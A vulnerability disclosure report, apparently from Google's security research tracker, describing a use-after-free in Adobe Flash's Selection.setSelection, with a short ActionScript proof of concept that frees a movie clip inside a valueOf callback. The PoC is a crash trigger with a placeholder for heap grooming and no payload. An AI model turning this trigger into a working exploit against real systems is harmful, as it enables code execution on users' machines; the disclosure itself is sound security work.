Adobe Flash: Use-after-free in Selection.SetSelection

There is a use-after-free in Selection.SetSelection. If it is called with a 
number parameter, which is an object with valueOf defined, and this function 
frees the parent of the TextField parameter, the object is used after it is 
freed. A minimal PoC follows:

var mc = this.createEmptyMovieClip("mc", 301);
var myText_txt = mc.createTextField("myText_txt", 302, 1, 1, 100, 100);
myText_txt.text = "this is my text";
Selection.setFocus("myText_txt");
var n = {valueOf : func};
Selection.setSelection(n, 3);

function func(){

  mc.removeMovieClip();
  // Fix heap here
  return 0;

}

A sample swf and fla are attached. Note that this PoC only works on 64-bit 
platforms.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 15 Oct 2015 at 6:54

Attachments:

setsel.fla
setsel.swf

cipherpunk / google-security-research

Adobe Flash: Use-after-free in Selection.SetSelection #590